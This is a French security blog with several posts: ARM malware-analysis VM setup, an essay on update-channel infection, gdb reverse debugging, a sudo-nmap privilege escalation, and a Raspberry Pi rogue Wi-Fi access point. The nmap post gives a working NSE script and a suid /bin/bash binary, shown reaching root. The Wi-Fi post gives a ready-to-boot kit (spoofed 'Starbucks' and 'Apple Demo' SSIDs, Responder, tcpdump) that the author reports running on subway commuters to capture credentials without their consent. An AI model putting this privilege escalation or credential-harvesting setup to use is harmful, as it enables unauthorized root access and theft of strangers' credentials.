mercredi 12 juillet 2017

qemu ARM VM for [crackme|malware] analysis

My setup for ARM analysis

Once in a while, I have to analyze linux binaries in ARM architecture (in CTF, or crackme or when I got an ARM malware). There is many way to do it:

  • do static analysis only (good for crackme)
  • buy a raspberry pi (good for crackme)
  • buy an ARM machine somewhere in the cloud (well, never tried it, but why not)
  • use virtual machines 

I choose personnaly virtual machine over other solutions because of dynamic analysis, snapshots, the availabilty of it and the free as in free beer \o/

1/ qemu ARM on x86_64

When you want to emulate an arch, you think at qemu. So, installing qemu is as simple as download and compile it, or apt-get it:

mitsurugi@dojo:~$ dpkg -l | grep qemu-system-arm
ii  qemu-system-arm                           1:2.8+dfsg-5                         amd64        QEMU full system emulation binaries (arm)
mitsurugi@dojo:~$

and you're done.

2/ disk image

Next, you have to grab a linux distro. It's really faster to use a preinstalled image than installing from an iso. There is a lot of documentation which point to https://www.aurel32.net/info/debian_arm_qemu.php . This works, but I don't recommend it. The kernel and images are really old, and for my needs, gdb was too old. Use another image, decently recent. I recommend a raspbian image, really good for this usage.

I have scripts to automatize the process of downloading and configuring disk image for qemu-system-arm.

First, an a udev rule:

mitsurugi@dojo:~/chall/armv6_stretch$ cat 90-qemu.rules 
KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n"
KERNEL=="sda2", SYMLINK+="root"
mitsurugi@dojo:~/chall/armv6_stretch$ 

And the script to get and create the disk image:

mitsurugi@dojo:~/chall/armv6_stretch$ cat get.sh 
#!/bin/bash
set -x
#wget http://xecdesign.com/downloads/linux-qemu/kernel-qemu
wget http://downloads.raspberrypi.org/raspbian_latest
wget https://github.com/dhruvvyas90/qemu-rpi-kernel/blob/master/kernel-qemu-4.4.34-jessie?raw=true
unzip raspbian_latest && rm raspbian_latest
loopdev=`sudo losetup -f`
img=`echo *.img`
offset=`file $img | grep -oh 'startsector [^,]*' | tail -n 1 | cut -d' ' -f2`
offset=$(($offset*512))
mntdir=mnt
sudo mkdir -p $mntdir
sudo chown root:root $mntdir
sudo losetup --offset $offset $loopdev $img
sudo mount $loopdev $mntdir
sudo bash -c "echo > $mntdir/etc/ld.so.preload"
sudo cp 90-qemu.rules $mntdir/etc/udev/rules.d
sudo umount $mntdir
sudo losetup -d $loopdev
qemu-img convert -O qcow2 -f raw $img raspbian.qcow2
rm $img
mitsurugi@dojo:~/chall/armv6_stretch$ 

Now you'll have a .qcow2 raspberry disk image and a linux kernel.
(those two scripts are slightly modified from http://xecdesign.com/ website, down at this moment)

3/ network setup

For my needs, I don't want to be bridged, I want to be able to firewall or block network access for the VM.
I don't want to use user-mode-nat, because firewalling can be too hard to put in place.
The good setup is TUN-TAP mode.

From the host, you have an interface tap0. The guest is connected to the host with this interface.
You can do your setup as you like, masquerade the guest to give internet access, firewall it, give static or dynamic addresse. Do as you want. I did a really simple setup (every docs on the internet overcomplicate this tasks).

First create your tap0 interface and give rights to your user, then configure it:

mitsurugi@dojo:~/chall/armv6_stretch$ cat config_ip.sh
echo "[+] Configuring interface"
sudo tunctl -t tap0 -u mitsurugi
sudo ifconfig tap0 172.16.42.42/24
mitsurugi@dojo:~/chall/armv6_stretch$ 

In the VM, configure the IP to be 172.16.42.222 or any IP in 172.16.42.X range.

This is really simple and powerfull because you can even configure a private IP address (if things are hardcoded in the binary you want to analyze) like

mitsurugi@dojo:~/chall/armv6_stretch$ sudo ifconfig tap0 8.8.8.8

and configure anything you need on the host side. I recommend dnsmasq which can act as a DHCP and DNS, with very little configuration. You can even lie to any DNS request you want, set up HTTP servers, ftp servers, mitm all the things \o/

4/ Command line to launch the image

The command line is:

mitsurugi@dojo:~/chall/armv6_stretch$ cat launch.sh 
#! /bin/bash
qemu-system-arm -cpu arm1176 \
                -m 256 \
                -kernel kernel-qemu-4.4.34-jessie \
                -M versatilepb \
                -append "root=/dev/sda2 rootfstype=ext4 rw console=ttyAMA0" \
                -hda raspbian.qcow2 \
                -net nic \
                -net tap,ifname=tap0,script=no,downscript=no $1
mitsurugi@dojo:~/chall/armv6_stretch$

Nothing fancy, you can't use more than 256M of RAM, and the net is made through tap, without any script (because you just configured it by yourself).

Be prepared for the first boot to configure a lot of things.

At first, use the qemu serial console (CTRL-ALT-3 when you see the strawberry logo on black screen) and log in. Why the serial console? Because you won't have any keyboard problem. The raspbian is configured to use QWERTY US keyboard. The serial console use your keyboard layout. The default login/pass is pi/raspberry http://elinux.org/R-Pi_Troubleshooting#Passwords  and you can use sudo to get root rights.

5/ First boot

Configure network, hostname, passwords, add a user, give root a password (eventually), d/l and configure all your analysis tools (gdbinit, scripts and so on), remove all the stuff you don't care about. And, reboot! Is everything OK? ssh works? Good!
You can forgot the CTRL-ALT-3 serial line and use ssh from now on.

Personnaly, I don't set up a default gw for the VM. This way, I'm almost sure than any malware I launch in it won't scan my internal network or the internet. This can be configured after on a case to case basis.

I set up the hostname as "router". If ever a malware would scan the hostname, it won't be an obvious name like "VM1" or "sandbox" or "analysis".

6/ Snapshotting for the win

The really good part about qemu is the -snapshot switch. This switch is made for a one-time snapshot. Whith it, anything is written on disk. When you poweroff the VM, every change made is lost. That's really, really good if you want to launch a malware. Even if this malware gain persistance to disk, modify files, or even trash your hard disk, it doesn't matter. Launch binary, look, modify things, trash VM, relaunch it. Very convenient. Don't forget to track and log every action in a scratchpad on your host because you can lost all of your work.

mitsurugi@dojo:~/chall/armv6_stretch$ ./launch.sh -snapshot
(do your stuff... Then halt the VM)

mitsurugi@dojo:~/chall/armv6_stretch$

The VM is in clean state. For me, that's the hugest win. No need to clean up tracks leaved by the malware, no need to reconfigure things. Reboot machine -> you're done. You can even hard stop it by closing the qemu windows.

Qemu has another option, with persistent snapshot. The disk image is used as a "base" image, and another file is used as a snapshot. This way, you can stop and reboot, any changes are stored in the snapshot file. If you want to restore the clean, initial state, just trash the snapshot file and launch qemu with the base image (see qemu documentation). I never had to use it.

99/ Conclusion

This setup will allow you to launch and analyze any ARM binary in a relative security. I'm not aware of any qemu escape ARM to x86_64, and the network setup allows you to easily block requests to the outside world and simulate all the things.

jeudi 29 juin 2017

Infection as automatic update

0/ Intro

Everybody is talking about Petya^WNotPetya^WGolde^WPetWr^WAPT2^Wwhatever, and security researcher are doing their best in order to understand all the gory details under this so-called ransomware (or wiper?). Let them continue to do this hard work (thanks guys/girls for you to exist and provide insights), I want to focus on a specific point: the Infection Vector.

1/ Infection Vector

At this time of writing, the infection vector seems to come from M.E.Doc. https://web.archive.org/web/20170627204128/http://www.me-doc.com.ua/?&lang=en M.E.Doc is a company which seems related to tax payment and accounting. I didn't checked, but news said it's widespread, and the home page has a direct link to updates: https://web.archive.org/web/20170606134558/http://www.me-doc.com.ua/pages/obnovlenie.php

The alleged vector worked like this:

  • M.E.Doc was hacked (or a part of it)
  • The automatic update feature was abused
  • All users of M.E.Doc software downloaded a malware instead of a legitimate update

This reminds the waterholing way to infects users, where you infect website visited by your victims. But waterholing is hard because you need to have some 0days to infect your victims.

The infection vectors turns automatic updates to infection!

2/ The importance of this new vector

And that point is new. This is a nice and clean infection vector:

  • You can target precisely your users if you want (think APT, espionage) or widespread (think ransomware, banking trojan), just choose your software to update!
  • No need to search for 0day! The role of update mechanism is to download, execute and install software
  • Bypass everything: Administrators have already authorized automatic updates, whitelisted sites, and give rights for updates. Yes, because every security guy/girl shoots "DO UPDATES! ALWAYS! MANDATORY! NOW!" (And yes, I'm the first one to say it).

I think that's the main information to learn from this attack. A new vector is in town, how can we handle it to control its damage power. When your legitimate tools evolve into deadly weapon that bites you, how can you survive?


3/ attack surface

I've booted my windows VM, and just let it run. I got some warning about the update of winSCP, openoffice and firefox (yep, I don't boot it often).
I wonder how many program are updated through their own channels. We know that some update domains are still in plain HTTP, some other are not digitally signed, and do we know if updaters check the signatures, etc..

Worst, I wonder how many legit programs are outdated, abandoned, and for whom DNS update domains are now for sale. Look for old software, search for domain, buy them, and you have an attack vector. You won't get many victims, but it can become really targeted if a company still use one of those abandoned software. Is there any domain containing "update" in this list today: https://www.expireddomains.net/backorder-expired-domains/  ?

I'm not even speaking of all DNS related problems bitsquatting or just the forgotten payment for the domain, or DNS hijacking, etc..

z/ Outro

If the security researcher are right, you don't have to care for this malware. It was a one shot fire and it won't be triggered again.

However, I think it's urgent to check all your software base, verify all of those download points, and verify the mechanism. Signatures and/or PGP base updates won't help because you have to take into account that all of the update infrastructure can be corrupted. So, in probability, the search for quick win pirates will search for non digitally signed updates, then for HTTP (in case of MITM), and only after weak updates websites.

In other word, I'll prepare backups and recovery plans.

vendredi 14 avril 2017

Privilege escalation with a sudo nmap

1/ Intro

Do you miss the good old days where nmap got an --interactive option? This option was mostly used to gain root privileges in the case if nmap was suid or sudo-able. This option has been deprecated and removed from nmap:
http://seclists.org/nmap-dev/2010/q1/1241:
This option is rarely used and doesn't work

This day was a bad day for pentester: no more priv esc with nmap :-(

So an admin can give nmap to its users without any risks? I think not, and I'll explain why.

2/ Nmap scripting engine in action

nmap is a very powerful tool which can be extended through lua scripts. We will use this to gain root privileges:
  • nmap can launch any nse scripts
  • nse scripts can call os.execute(" system commands ")
You can read docs on the nmap website.

3/ Sample nse script

I did a really simple script:
mitsurugi@dojo:~$ cat got_root.nse 
-- The Head Section --
description = [[If nmap is suid or you have sudo nmap rights
this script suid a local binary called binsuid]]
author = "0xMitsurugi"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}

-- The Rule Section --
hostrule = function(host)
    return host
end

-- The Action Section --
action = function(host)
    os.execute("echo got_root ; id > /tmp/owned")
    os.execute("[ -f binsuid ] && chown root.root binsuid")
    os.execute("[ -f binsuid ] && chmod +s binsuid")
    return "suid nmap priv escalation"
end
mitsurugi@dojo:~$

We have a hostrule, which is basically always true if host is up. We will scan 127.0.0.1 so, the action will start.
The action just chown and chmod a file called binsuid in the local folder.

4/ full session

Let's imagine that a user can launch nmap through sudo without the need of a password.
Here is how to gain root privileges: Create a binary giving you a shell, use the nse script which will give suid rights to it. You're done.

mitsurugi@dojo:~$ cat binsuid.c 
#define _GNU_SOURCE 
#include 
#include 
#include 
void main() {
 setresuid(geteuid(),geteuid(),geteuid());
 system("/bin/bash");
}
mitsurugi@dojo:~$ gcc -o binsuid binsuid.c
mitsurugi@dojo:~$ ls -l binsuid
-rwxr-xr-x 1 mitsurugi mitsurugi 8744 avril 14 10:56 binsuid
mitsurugi@dojo:~$ sudo nmap -p 1337 --script got_root.nse 127.0.0.1

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-14 10:55 CEST
got_root
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000026s latency).
PORT     STATE  SERVICE
1337/tcp closed waste

Host script results:
|_got_root: suid nmap priv escalation

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
mitsurugi@dojo:~$ ls -l binsuid
-rwsr-sr-x 1 root root 8744 avril 14 10:55 binsuid
mitsurugi@dojo:~$ ./binsuid 
bash-4.4# id
uid=0(root) gid=1001(mitsurugi) groupes=1001(mitsurugi),27(sudo),29(audio),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner),122(kismet)
bash-4.4#

Ok, root rights acquired, job done.

5/ Outro

Lot of fun
Enjoy responsibly \o/ (and pwn everything!)

Ever tried. Ever failed. No matter. Try Again. Fail again. Fail better.
~Samuel Beckett

0xMitsurugi

mercredi 22 février 2017

Stepping backward in gdb

0/ Intro

Yesterday, I discover an awesome feature of gdb: the concept of recording, and stepping backward in a binary.

You read it good! With gdb, you can run a binary step some instructions and then reverse your steps. You can even change values in memory or register, and continue execution.
It's a feature I've searched for solving crackmes. Usually, in crackme you try some passwords, step through functions and subfunctions, then branches are taken depending on the password, and sometimes, you just want to step backward in order to try another branch.
I've never imagined that it's possible with a vanilla gdb.

Reference doc:
https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html

1/ A heavy weight crackme!

Here is an example of a crackme:

 mitsurugi@dojo:~/chall/reverseGDB$ cat heavyweightcrackme.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
 int heavycalc(char *s) {  
      int a=0;  
      printf("\tBig computation in subfunction\n");  
      a=strlen(s);  
      return a;  
 }  
 int main(int argc, char *argv[]) {  
      printf("Another Crackme\n");  
      if (heavycalc(argv[1]) == 6){  
           printf("Good Boy\n");  
      }  
      else {  
           printf("Bad boy\n");  
      }  
      return(0);  
 }  
 mitsurugi@dojo:~/chall/reverseGDB$  

Nothing really hard, that's just for the demonstration.
The reverser have to input a 6 character long password in order to get the "Good boy" message. Any other length will tell "Bad Boy". The calculation is made in a subfunction.

2/ Reverse stepping GDB in action!

Just use your favorite gdb (higher than v7).

 mitsurugi@dojo:~/chall/reverseGDB$ gdb -q -nx heavyweightcrackme   
 Reading symbols from heavyweightcrackme...(no debugging symbols found)...done.  
 (gdb) b * main  
 Breakpoint 1 at 0x723  
 (gdb) r aaaa  
 Starting program: /home/mitsurugi/chall/reverseGDB/heavyweightcrackme aaaa  
 Breakpoint 1, 0x0000555555554723 in main ()  
 (gdb) record  

Here, we start the recording. Everything will be recorded, memory, breakpoints, registers, flags and so on. Gdb will be able to step backward and forward since that point.

 (gdb) c  
 Continuing.  
 Another Crackme  
      Big computation in subfunction  
 Bad boy  
 The next instruction is syscall exit_group. It will make the program exit. Do you want to stop the program?([y] or n) yes  
 Process record: inferior program stopped.  
 Program stopped.  
 0x00007ffff7af34c6 in __GI__exit (status=status@entry=0) at ../sysdeps/unix/sysv/linux/_exit.c:31  
 31     ../sysdeps/unix/sysv/linux/_exit.c: Aucun fichier ou dossier de ce type.  
 (gdb)  

Ok, we fail at solving this challenge, and we see the "Bad boy" message. (Protip: when gdb ask you to stop the program, answer yes, you will stay in the recorded session).
The magic begins here, with a reverse-continue. It will fast forward until a breakpoint. We have only one, at main.
 (gdb) reverse-continue   
 Continuing.  
 No more reverse-execution history.  
 0x0000555555554723 in main ()   
 (gdb) disass main  
 Dump of assembler code for function main:  
 => 0x0000555555554723 <+0>:     push  %rbp  
   0x0000555555554724 <+1>:     mov  %rsp,%rbp  
   0x0000555555554727 <+4>:     sub  $0x10,%rsp  
   0x000055555555472b <+8>:     mov  %edi,-0x4(%rbp)  
   0x000055555555472e <+11>:     mov  %rsi,-0x10(%rbp)  
   0x0000555555554732 <+15>:     lea  0xef(%rip),%rdi    # 0x555555554828  
   0x0000555555554739 <+22>:     callq 0x555555554590 <puts@plt>  
   0x000055555555473e <+27>:     mov  -0x10(%rbp),%rax  
   0x0000555555554742 <+31>:     add  $0x8,%rax  
   0x0000555555554746 <+35>:     mov  (%rax),%rax  
   0x0000555555554749 <+38>:     mov  %rax,%rdi  
   0x000055555555474c <+41>:     callq 0x5555555546f0 <heavycalc>    //Seems interesting  
   0x0000555555554751 <+46>:     cmp  $0x6,%eax  
   0x0000555555554754 <+49>:     jne  0x555555554764 <main+65>  
   0x0000555555554756 <+51>:     lea  0xdb(%rip),%rdi    # 0x555555554838  
   0x000055555555475d <+58>:     callq 0x555555554590 <puts@plt>  
   0x0000555555554762 <+63>:     jmp  0x555555554770 <main+77>  
   0x0000555555554764 <+65>:     lea  0xd6(%rip),%rdi    # 0x555555554841  
   0x000055555555476b <+72>:     callq 0x555555554590 <puts@plt>  
   0x0000555555554770 <+77>:     mov  $0x0,%eax  
   0x0000555555554775 <+82>:     leaveq   
   0x0000555555554776 <+83>:     retq    
 End of assembler dump.  
 (gdb)  

From now on, we can single step through the binary, examinate memory, add breakpoints (yeah, dynamically!). The heavycalc function seemes interesting because it's return value is checked.
 (gdb) b * 0x000055555555474c  
 Breakpoint 2 at 0x55555555474c  
 (gdb) c  
 Continuing.  
 Breakpoint 2, 0x000055555555474c in main ()  
 (gdb) nexti  
 0x0000555555554751 in main ()  
 (gdb) info reg rax  
 rax      0x4     4  
 (gdb)  

And we can change the execution flow. We see that the rax is compared to six. What happens if we set a 6?Obviously, from now on, the subsequent execution log is deleted and a new execution log starting from the current address will be recorded. This means we will abandon the previously recorded "future" and begin recording a new "future".
 (gdb) set $rax=6  
 Because GDB is in replay mode, changing the value of a register will make the 
execution log unusable from this point onward. Change register rax?(y or n) y 
 (gdb) c  
 Continuing.  
 Good Boy  
 The next instruction is syscall exit_group. It will make the program exit. 
Do you want to stop the program?([y] or n) yes  
 Process record: inferior program stopped.  
 Program stopped.  
 0x00007ffff7af34c6 in __GI__exit (status=status@entry=0) at ../sysdeps/unix/sysv/linux/_exit.c:31  
 31     in ../sysdeps/unix/sysv/linux/_exit.c  
 (gdb)  

Yeah! We have a "Good boy" message. So, it means that heavycalc have to return 6 in order to win. But what do we have in "heavycalc"? Easy, just step backward, and dive into this function:
 (gdb) reverse-continue   
 Continuing.  
 Breakpoint 2, 0x000055555555474c in main ()  
 (gdb) x/10i $rip  
 => 0x55555555474c <main+41>:     callq 0x5555555546f0 <heavycalc>  
   0x555555554751 <main+46>:     cmp  $0x6,%eax  
   0x555555554754 <main+49>:     jne  0x555555554764 <main+65>  
   0x555555554756 <main+51>:     lea  0xdb(%rip),%rdi    # 0x555555554838  
   0x55555555475d <main+58>:     callq 0x555555554590 <puts@plt>  
   0x555555554762 <main+63>:     jmp  0x555555554770 <main+77>  
   0x555555554764 <main+65>:     lea  0xd6(%rip),%rdi    # 0x555555554841  
   0x55555555476b <main+72>:     callq 0x555555554590 <puts@plt>  
   0x555555554770 <main+77>:     mov  $0x0,%eax  
   0x555555554775 <main+82>:     leaveq   
 (gdb) stepi  
 0x00005555555546f0 in heavycalc ()  
 (gdb) disass heavycalc   
 Dump of assembler code for function heavycalc:  
 => 0x00005555555546f0 <+0>:     push  %rbp  
   0x00005555555546f1 <+1>:     mov  %rsp,%rbp  
   0x00005555555546f4 <+4>:     sub  $0x20,%rsp  
   0x00005555555546f8 <+8>:     mov  %rdi,-0x18(%rbp)  
   0x00005555555546fc <+12>:     movl  $0x0,-0x4(%rbp)  
   0x0000555555554703 <+19>:     lea  0xfe(%rip),%rdi    # 0x555555554808  
   0x000055555555470a <+26>:     callq 0x555555554590 <puts@plt>  
   0x000055555555470f <+31>:     mov  -0x18(%rbp),%rax  
   0x0000555555554713 <+35>:     mov  %rax,%rdi  
   0x0000555555554716 <+38>:     callq 0x5555555545a0 <strlen@plt>  
   0x000055555555471b <+43>:     mov  %eax,-0x4(%rbp)  
   0x000055555555471e <+46>:     mov  -0x4(%rbp),%eax  
   0x0000555555554721 <+49>:     leaveq   
   0x0000555555554722 <+50>:     retq    
 End of assembler dump.  
 (gdb)  

And we can inspect memory again, etc, etc..

3/ Outro

This feature is AWESOME \o/
The concept of stepping backward, forward, inspecting memory and so on is full of fun. My next cracking session will be recorded, replayed and enhanced.
The gdb documentation gives a lot of options, actions and possibilities, this blogpost is just here to show a minimal reverseGDB sessions.

And the irony of reversing gdb while reversing binaries strikes on me :)

0xMitsurugi
Winners trains. Loosers complains.

jeudi 16 février 2017

All your credz are belong to me. When raspi meets wifi sniffing.

1/ A wild Raspberry appears!

Two weeks ago, I won in a CTF a raspberry Pi3. After toying a little with the ARM CPU, I decided to make something offensive with this raspi. As you may know, the raspberry 3 comes with an integrated Wifi card, and it's powered with an USB cable:
We don't clearly see the wifi card, but it's here :-)

On the other hand, I have a neat little rescue battery for my phone:
A battery full of energy

This battery delivers 800mA, and its enough to power the raspberry for more than two hours (maybe more, but I never tried for more than two hours and it's largely enough for me). With this setup, I have a portable raspberry and I can walk anywhere.

The idea is to configure the raspberry as an access point, and wait for innocents smartphones to connect with it. Listen the network, then grab as much data as possible. Free credz for me \o/  This kind of tests have been made in the past, but I just want to test it by myself.
It ended to be incredibly easy to setup and successfull.

2/ Setup everything

We need three parts: create an access point, set up some honeypots to gather credz, and sniff data. Once OK, launch everything at boot.

2/1/ Access Point

Before creating the access point, we have to configure the wifi card, and setup a DHCP server.
Add those lines in /etc/network/interfaces:
 allow-hotplug wlan0   
 iface wlan0 inet static   
   address 172.24.1.1  
   netmask 255.255.255.0  
   network 172.24.1.0  
   broadcast 172.24.1.255  

Next, install dnsmasq, and create a specific conf file, only for answering DHCP requests:
 root@raspberrypi:~# mv /etc/dnsmasq.conf /etc/dnsmasq.conf.ori  
 root@raspberrypi:~# cat /etc/dnsmasq.d/dnsmasq.conf   
 # Listen on this specific port instead of the standard DNS port  
 # (53). Setting this to zero completely disables DNS function,  
 # leaving only DHCP and/or TFTP.  
 port=0  
 interface=wlan0   # Use interface wlan0   
 listen-address=172.24.1.1 # Explicitly specify the address to listen on   
 bind-interfaces   # Bind to the interface to make sure we aren't sending things elsewhere   
 domain-needed    # Don't forward short names   
 bogus-priv      # Never forward addresses in the non-routed address spaces.   
 dhcp-range=172.24.1.50,172.24.1.150,12h # Assign IP addresses between 172.24.1.50 and 172.24.1.150 with a 12 hour lease time   
 # DNS is managed by another process, which will send rogue response  
 dhcp-option=6,172.24.1.1  
 root@raspberrypi:~#   

And installing the AP is very straightforward:
 root@raspberrypi:~# apt-get install hostapd  
 create a file /etc/hostap/hostapd.conf  
 root@raspberrypi:~# cat /etc/hostapd/hostapd.conf  
 interface=wlan0  
 driver=nl80211  
 #Configure the name of the SSID to fulfill your needs  
 ssid=My Test SSID  
 hw_mode=g  
 channel=6  
 ieee80211n=1  
 wmm_enabled=1  
 ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]  
 macaddr_acl=0  
 #Warning, this is the configuration for a full Open AP. Anybody can use it.  
 #Don't use it without knowing what you do
 auth_algs=1  
 root@raspberrypi:~#  

Launch it with
 root@raspberrypi:~# hostapd -d /etc/hostapd/hostapd.conf  

You shoud see the SSID "My Test SSID" in any Wifi Device, and connection should work. You won't get internet access, but we don't need it.

2/2/ Honeypoting

I decided to reuse Responder, which is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. It's designed for windows (netbios, and so on) in mind but it works with any smartphone/tablet because of all authentications server.

Once again, really easy:
 root@raspberrypi:~# git clone https://github.com/SpiderLabs/Responder.git  
no configuration file is needed, anything works out of the box. Nice.

2/3/ Sniffing

We will sniff with tcpdump.
 root@raspberrypi:~# apt-get install tcpdump  

2/4/ Launch everything at boot

As I will used this raspberry in my pocket, it must be able to launch everything at boot without ant interaction, then regain access while plugged in a computer with SSH access. For that, I'm using screen and a systemd unit file:
 root@raspberrypi:~# cat /etc/systemd/system/screen_AP.service   
 [Unit]  
 Description=screen for AP  
 [Service]  
 Type=oneshot  
 RemainAfterExit=yes  
 ExecStart=/usr/bin/screen -c /root/screen_AP  
 StandardInput=tty  
 TTYPath=/dev/tty2  
 TTYReset=yes  
 TTYVHangup=yes  
 [Install]  
 WantedBy=multi-user.target  
 root@raspberrypi:~#  

And the screen_AP file launch three tabs, then detach:
 root@raspberrypi:~# cat screen_AP   
 startup_message off  
 defscrollback 100000  
 screen -d -m -t AP hostapd -d /etc/hostapd/hostapd.conf  
 chdir /root/Responder  
 screen -d -m -t Responder ./Responder.py -I wlan0 -bwrf  
 screen -d -m -t tcpdump tcpdump -s0 -n -i wlan0 -w /root/AP.pcap  
 detach  
 root@raspberrypi:~#  
That's it, you're done!

The Pi will boot, setup the wlan0 card, launching it as an AP (dnsmasq start with its own unit file), launch Responder and sniff everything.

3/ Playground

My tests have shown that association is not so easy to achieve
  • A smartphone won't connect to any open wifi magically
  • A smartphone take some long seconds to associate: You can't just walk in the street waiting for phone to connect.
Those two problems can be solved. First, I reuse some well-known SSID names such as "Starbucks", "Apple DEMO", "orange" or "FreeWifi" (I'm in france and those two last names are french ISP providing open wifi) and so on.

Second, for the delay made by the connecting time, I choose the subway. People are standing still for some minutes, and eventually they can be tempted to connect to an open Wifi network. Moreover, subway here doesn't have any cell networks, so phone would be more tempted to join wifi networks I guess.

Let's try
The subway will make a stop to Sniffing Station!

4/ Results

It works. Not really well, but it works, I had connections. For example, with the SSID "Apple Demo" (the ssid available in any apple store) I have associations and connections to captive.apple.com and so on..

For the credz, nothing will be published here, and I can't deny nor confirm anything about them ^_^


The main problem I'm facing is the SSID name. Very unfortunately, the wifi card in the Pi3 can only manage one SSID:
 root@raspberrypi:~# iw list  
 Wiphy phy0  
  (...)  
      valid interface combinations:  
            * #{ managed } <= 1, #{ P2P-device } <= 1, #{ P2P-client, P2P-GO } <= 1,  
             total <= 3, #channels <= 2  
            * #{ managed } <= 1, #{ AP } <= 1, #{ P2P-client } <= 1, #{ P2P-device } <= 1,  
             total <= 4, #channels <= 1  
      Device supports scan flush.  
 root@raspberrypi:~#  
total AP <= 1 , such a bad luck :-(

I can make rolling SSID names, but having 8 SSID at the same time would have been so nice :)

Next step could be:
  • Enhance the AP part with:
    • buying an external USB wifi card :-/
    • roll SSIDs names every 3-4 minutes, but that's unsatisfying
  • Enhance the Responder part with more honeypots and better HTTP response
    • Usually, apps and OS do a GET to a known domainname and wait for a specific string

Good side effects is that I can use the SSID to connect to the raspberry with my phone, thanks to ConnectBot and see logs in real time :-)

5/ Conclusion

That was fun to setup and to see the logs.
Note to myself: be sure than Wifi on my smartphone is turned off :-)

0xMitsurugi
"Cry in the dojo. Laugh on the battlefield."
~ Author unknown